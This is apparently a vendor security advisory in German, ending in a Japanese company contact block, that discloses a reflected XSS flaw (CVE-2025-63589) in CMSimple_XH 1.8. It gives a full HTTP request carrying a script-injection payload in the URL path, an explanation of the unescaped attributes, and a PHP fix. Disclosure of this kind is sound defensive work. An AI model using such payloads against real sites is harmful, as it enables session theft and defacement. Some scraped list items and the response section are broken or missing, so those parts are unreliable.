
Reflektiertes XSS Proof-of-Concept für CMSimple_XH 1.8 mit nicht authentifizierter Skripteinschleusung über nicht bereinigte Pfadsegmente, einschließlich CVSS 6.1 Bewertung und PHP-Reparaturbeispiel.
Entdeckt: 6. Oktober 2025
Produkte: CMSimple_XH (Open-Source-Flatfile-CMS)
Betroffene Versionen: 1.8
CVE(s): CVE-2025-63589
Authentifizierung erforderlich: Keine (nicht authentifiziert)
Angriffstyp: Reflektiertes Cross-Site Scripting (XSS)
Geschätzter CVSS v3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N → 6.1 (Medium)
Der Front-Controller in index.php akzeptiert dynamische Pfadsegmente (die zum Routing zu Templates/Seiten verwendet werden) und übergibt diese Werte an die Template-Rendering-Engine. Der Code bereinigt oder HTML-kodiert diese Pfadsegmente nicht ordnungsgemäß, bevor sie in Attribute und Anchor-hrefs eingefügt werden. Dadurch wird eine speziell präparierte Anfrage-URI mit Zeichen wie "> und injizierten Tags (z. B. <script>...</script>) unverändert in die HTML-Ausgabe übernommen und vom Browser ausgeführt.
Typische Reflexionspunkte sind:
action-Attribute (z. B. Login-/Suchformulare)href-Attribute<nav class="locator">)Druckansicht, Sitemap, Login, usw.)Da die Eingabe in HTML-Attributkontexten und Anchor-Inhalten landet, ist eine standardmäßige Attributkodierung erforderlich, fehlt jedoch.
Anfrage:
POST /cmsimplexh/index.php/gjtqw"><script>alert(1)</script>co2cu HTTP/1.1
Host: 192.168.98.129:8080
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Origin: http://192.168.98.129:8080
Upgrade-Insecure-Requests: 1
Referer: http://192.168.98.129:8080/cmsimplexh/?Templates/TEMPLATE-overlay_03
Content-Type: application/x-www-form-urlencoded
Sec-CH-UA: "Chromium";v="138", "Not;A=Brand";v="24", "Google Chrome";v="138"
Sec-CH-UA-Platform: "Windows"
Sec-CH-UA-Mobile: ?0
Content-Length: 32
search=Search...&function=search

Antwort:


Die injizierte Nutzlast gjtqw"><script>alert(1)</script>co2cu wird unkodiert in Menülinks, Breadcrumbs, Suchformular-Action und Footer-Links übernommen, was bei der Darstellung der Seite zur Skriptausführung führt.
$safe_segment = rawurlencode($segment); // Pfadsicherheit
$action = '/cmsimplexh/index.php/' . $safe_segment;
echo '<form action="' . htmlspecialchars($action, ENT_QUOTES, 'UTF-8') . '">';
HttpOnly)ご質問・ご相談などございましたら、お気軽にご連絡ください。

📞 Tel: 03-6853-5823
📧 Mail:[email protected]
| 項目 | 内容 |
|---|---|
| 会社名 | 株式会社CyberCrew |
| 所在地 | 東京都千代田区外神田1-18-13 秋葉原ダイビル6階 |
組織の脆弱性を多角的に分析し、最適な改善策を提案します。
標的型・シナリオ型・LLMペンテスト まで対応。
機密情報の流出を早期に検知し、迅速に対応。
実践的な攻撃シナリオに基づく防御力評価を実施。
開発初期段階からセキュリティを考慮した設計を支援します。
🌐 公式サイト:https://www.cybercrew.co.jp
🕒 CyberCrew — Your Trusted Security Partner.